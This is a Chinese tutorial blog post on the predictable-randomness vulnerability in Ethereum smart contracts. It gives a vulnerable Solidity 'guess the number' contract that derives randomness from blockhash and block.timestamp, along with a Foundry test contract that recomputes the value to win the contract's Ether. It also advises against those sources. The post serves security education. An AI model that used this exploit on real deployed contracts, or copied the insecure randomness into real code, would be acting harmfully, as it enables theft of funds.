当前位置: 首页 > article >正文

区块链安全常见的攻击分析——可预测随机数漏洞 (Predictable Randomness Vulnerability)【12】

区块链安全常见的攻击分析——可预测随机数漏洞 Predictable Randomness Vulnerability

    • 1.1 漏洞分析
    • 1.2 漏洞合约
    • 1.3 攻击分析
    • 1.4 攻击合约
    • 1.5 在sepolia测试网复现Randomness随机数攻击

重点:区块链上的全局变量(如区块哈希、区块号、区块时间戳等)都是可预测的,若以它们为基础生成随机数,攻击者可以通过计算获取随机数的结果。

1.1 漏洞分析

  • 只需要知道合约在部署的时候区块number和时间戳就可以求出这个随机数
    在这里插入图片描述

1.2 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
名称: 可预测随机数漏洞 (Predictable Randomness Vulnerability)

描述:
使用区块哈希、区块号、区块时间戳等全局变量是不安全的,
因为矿工或攻击者可以操控这些变量。

场景:
GuessTheRandomNumber 是一个游戏,如果你能猜中伪随机数,你将赢得 1 Ether。
伪随机数是通过区块哈希和时间戳生成的。

乍一看,似乎不可能猜中正确的数字。
但我们来看一下如何轻松获胜。

1. Alice 部署 GuessTheRandomNumber 合约并存入 1 Ether
2. Eve 部署攻击合约 Attack
3. Eve 调用 Attack.attack() 并赢得 1 Ether

发生了什么?
攻击者通过简单地复制生成随机数的代码,计算出正确答案。

缓解措施:
不要使用 blockhash 和 block.timestamp 作为随机数的来源。

参考:
https://solidity-by-example.org/hacks/randomness/
 
*/

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
        uint answer = uint(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );
        console.log("GuessTheRandomNumber-guess()-answer:", answer);

        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

1.3 攻击分析

  1. 直接采用同样的代码获取即可在这里插入图片描述

  2. 因为猜对后会返回发送的币,所以要注意需要加上receive()接收函数
    在这里插入图片描述
    在这里插入图片描述

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./Randomness.sol";

contract ContractTest is Test {
    GuessTheRandomNumber GuessRandomContract;
    address Koko;
    address Aquarius;

    function setUp() public {
        Koko = vm.addr(1);
        Aquarius = vm.addr(2);
        vm.deal(address(Koko), 1 ether);
        vm.deal(address(Aquarius), 1 ether);
        vm.prank(Koko);
        GuessRandomContract = new GuessTheRandomNumber{value: 1 ether}();

        console.log("Randomness_Attack-setUp()");
    }

    function testRandomness() public {
        uint guessAnswer = uint(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );
        console.log("  Test-testRandomness()-guessAnswer:", guessAnswer);
        GuessRandomContract.guess(guessAnswer);
    }

    receive() external payable {}
}

1.5 在sepolia测试网复现Randomness随机数攻击


http://www.kler.cn/a/466433.html

相关文章:

  • 模型 九屏幕分析法
  • GPT系统重大升级,开创国内先河:o1支持图片识别功能正式上线
  • 美的空气净化器好用吗?拾梧、美的、戴森空气净化器除烟哪个好?
  • Java虚拟机(Java Virtual Machine,JVM)
  • javaEE-网络编程-3 UDP
  • 【信息系统项目管理师】高分论文:论信息系统项目的风险管理(城市停车诱导系统)
  • 路由基本配置实验
  • 《一个孤独漫步者的遐想-卢梭》阅读笔记
  • C#数字转大写人民币
  • docker镜像制作的命令,docker自定义镜像
  • AWS re:Invent 2024 - Dr. Werner Vogels 主题演讲
  • VTK知识学习(28)-区域提取
  • SpringMVC的消息转换器
  • 国产芯RK3568教学实验箱操作案例:颜色识别抓取积木
  • Android 第三方框架:网络框架:OkHttp:源码分析:缓存
  • 基于springboot+vue的校园论坛系统
  • 代码随想录day34 动态规划2
  • js逆向:算法分析某携酒店数据接口参数testab的生成
  • DALL·E 2模型及其论文详解
  • WPF的一些控件的触发事件记录
  • 渗透测试-非寻常漏洞案例
  • 使用IDEA远程debug服务器上的jar包
  • 基于 Python 虎扑网站的 NBA 球员大数据分析与可视化
  • QEMU网络配置简介
  • Wireshark中的名称解析设置详解
  • ROS 2中的DDS中间件